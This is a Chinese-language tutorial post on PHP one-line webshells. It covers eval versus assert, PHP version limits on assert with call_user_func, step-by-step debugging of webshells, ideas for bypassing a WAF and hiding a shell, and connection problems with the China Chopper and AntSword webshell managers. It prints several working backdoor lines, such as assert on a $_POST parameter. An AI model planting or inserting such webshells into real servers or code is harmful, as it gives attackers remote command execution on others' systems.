前言
在平時的學習和練習過程中,經常會遇到上傳的一句話木馬無法執行我們的命令或者說能執行命令但是不能連接菜刀蟻劍等webshell管理工具,以及各個版本PHP所限制的一些一句話木馬的寫法,不同版本webshell管理工具無法連接一句話木馬的情況,所以打算仔細的了解一下其中的緣由。
什么是webshell
簡單來說,webshell就是一個以網頁形式存在的webshell,或者叫做網頁后門。一句話木馬,小馬,大馬這些都可以叫做webshell。一句話木馬就是只需要一行代碼的木馬,雖然一句話木馬為了繞過waf的檢測,出現了很多的變形,但是本質是不變的:木馬執行了我們發送的命令。
一句話木馬中eval和assert的區別
- eval 是一個語言構造器而不是一個函數
- PHP eval() 把字符串按照 PHP 代碼來計算。該字符串必須是合法的 PHP 代碼,且必須以分號結尾。
- 如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。
- 在一個php文件中,eval執行完就會結束,所以當同一個php文件中有多個eval的時候,只會執行第一個。
- assert 是一個函數,assert 這個函數在 php 語言中是用來判斷一個表達式是否成立。返回 true or false;assert 函數的參數會被執行,這跟 eval() 類似。
assert函數在不同php版本中的限制
在php 7.2的版本說明中,我們發現,對assert()函數傳入字符串參數已經被禁用,在8.0版本的時候會被徹底刪除。
但是,在這種情況下
<?php
assert($_GET['pass']) ?>
我們通過pass傳入的phpinfo(),system('whoami')不是字符串,所以這種情況下是沒有php的版本限制的。
那么什么時候會被這個版本所限制呢?
先說結論:call_user_func 與 assert連用時會受到此版本限制
call_user_func 這個函數可以調用其它函數,被調用的函數是 call_user_func 的第一個函數,其余函數作為第一個回調函數的參數。通過這種方法,可以實現過waf的一些操作。
使用回調函數寫成的一句話木馬對不同php版本進行測試
可以看到在php5.4和php7.0版本,這樣不受限制正常傳參進行命令執行是沒有問題的。
但是在php7.3中,沒有回先顯。
可以看到,在php7.1版本也沒有回顯
當我們修改一句話中的內容得時候
<?php
@call_user_func(assert,system(dir)); ?>
命令重新執行成功了。
這個原因就是,通過超全局變量 $_GET['']
獲取的攻擊者輸入是字符串,這樣傳入assert函數就觸發了禁用。但是直接assert(phpinfo())傳入的參數是函數,所以就不會觸發函數禁用,可以正常回顯。
得到結論:
這個禁用特性經過我的測試是從 php 7.1 版本開始的,並不是 7.2 版本才開始(在我本機是這樣,師傅們可以在測試一下,但是道理是一樣的)。所以 call_user_func + assert 構造的一句話木馬在 php 7.0 版本及以下可以使用。在php7.0以上就不要使用這個組合了,以免出現問題。
說到call_user_func這個函數,在這里多提一點,call_user_func是不能調用eval的,這是什么原因呢?
在這里,再把上面的話重復一邊
使用call_user_func,他的第一個參數是要求是函數,而 eval 是一個語言構造器而不是一個函數,不能被可變函數調用。
如何構造WebShell
木馬的構成無非就是兩部分:
- 接收攻擊者輸入的參數
- 命令執行函數
在對一個webshell進行調試的過程中,一般采用下面的方法,逐步進行
- 把函數寫在 php 文件中,看能否執行
- 寫成
$_GET['']
方式傳入命令,看能否執行 - 寫成
$_POST['']
方式傳入命令,能能否執行命令
當然2、3步可以合成通過$_REQUEST['']
方法傳入命令。通過這樣逐步調試的方法,雖然有些笨重,但是效果還是比較好的,可以清晰的知道,是因為傳參問題還是因為本身命令執行函數的問題導致木馬失效。
在這里補充一個坑點
有些版本的中國菜刀連接php一句話不支持assert,老版本可以
既然老版本菜刀可以連上php的一句話木馬,新的版本連不上。那么,就會想到可能是在菜刀連接一句話木馬的時候,中間會由於編碼問題導致連接失敗。當然在后邊的操作中證明這個猜想是錯誤的。
在使用wireshark對不同版本的連刀進行抓包的過程中,會發現post發送的三個變量中,只有第一個變量是不同的。其余兩個變量都相同。那么,很顯然,問題就出在第一個變量中。在新的版本的第一個變量中,存在多條語句,而老版本的變量一里面只有一條語句。
考慮到,既然eval的一句話可以使用,而assert的一句話不能使用,那應該是eval和assert用法不同造成這個問題。通過文檔可以發現assert是判斷一條語句是否為FALSE(注意只是一條),而eval是把當前字符串作為代碼執行(可以是多條)。
得出結論:
由於assert的單個語句的限制和新版菜刀第一個變量是多條語句導致assert的一句話新版菜刀不能使用。
它所造成的影響是所有assert的一句話在新版本的菜刀中都不能用,但可以使用老版本。
(這里的新版本指的是20141213,老版本測試的時候用的是菜刀1.0)
bypass WAF
WAF 通常以關鍵字判斷是否為一句話木馬,但是可以通過對一句話木馬的變形,動態調用,隱藏或者替換關鍵字,達到繞過WAF的目的。所以想要繞過 WAF,就需要掌握各種 PHP 小技巧,掌握的技巧多了,把技巧結合起來,才可以設計出符合當時環境的一句話木馬。
有關具體可以bypass的一句話在這里就不做羅列了,網上有大量的學習資源,社區以前的文章也有過專門分析如何繞過waf的文章。(傳送門)
好多朋友在學習過程中常會收集一些tips,通過這些tips可以讓自己的滲透和挖洞更高效。但是攻防始終是動態的,不可能死吃以前的tips,本着學習的態度萬變不離其宗,不斷地收獲小技巧又不斷地消化小技巧,才能寫出自己的一套高質量tips。
關於bypass的思想和方法,在這里我貼上P神的文章(創造tips的秘籍——PHP回調后門)其中講了一類名為回調后門的一句話木馬。其中的思想至今仍然是可用的,非常值得學習。
在寫一句話木馬時候,建議大家在eval,assert前面加上@
,雖然對執行結果本質上沒有什么區別,但是@
的作用是忽略可能出現的錯誤。這個小細節可以更便於木馬的隱藏。
一句話木馬在連接webshell管理工具的時候常出現的坑點
對於webshell管理工具,常見的有以下十類:
1.中國菜刀
使用方便,小巧實用,凡是支持動態腳本的網站,都可以使用中國菜刀進行管理。UNICOODE方式編譯,支持多國語言輸入顯示。
2.蟻劍
開源,跨平台的網站管理工具,插件很豐富,平常使用最多的webshell管理工具。
3.C刀
跨平台基於配置文件的中國菜刀,所有操作由用戶來定義
4.冰蠍
動態二進制加密網站管理客戶端
5.Xise
6.Altman
7.Weevely
8.QuasiBot
9.Webshell-Snipe
10.WeManager
上邊的工具,仁者見仁智者見智,適合自己的就是最好的。我平時用的最多的是蟻劍,其次是菜刀。這里分享一下我在使用菜刀和蟻劍遇到的坑點。
新版本菜刀:
上文提到過,在新版本的菜刀不要連接assert的一句話。由於assert的單個語句的限制和新版菜刀第一個變量是多條語句導致assert的一句話新版菜刀不能使用。
蟻劍:
首先是蟻劍的安裝,下載后在對蟻劍進行初始化的時候要注意兩點:
1.安裝路徑必須是全英文路徑
2.使用管理員身份打開並進行初始化,否則會遇到下載失敗以及代碼解壓失敗等bug。
在蟻劍連接一句話木馬的時候
盡量不要使用default和random編碼器。使用default有些時候會連不上馬,使用random則可能導致連馬失敗或者連馬的等待時間過長。可以使用base64等其他編碼。
舉例:
<?=1;assert($_POST['a']);?>
總結:
本文所涉及的內容包括:
- 一句話木馬中eval和assert的區別
- assert函數在不同php版本中的限制
- call_user_func + assert組合的使用條件
- 如何構造WebShell
- bypass WAF的思路
- 新老版本連接菜刀出現的問題
- 一句話木馬在連接webshell管理工具的時候常出現的坑點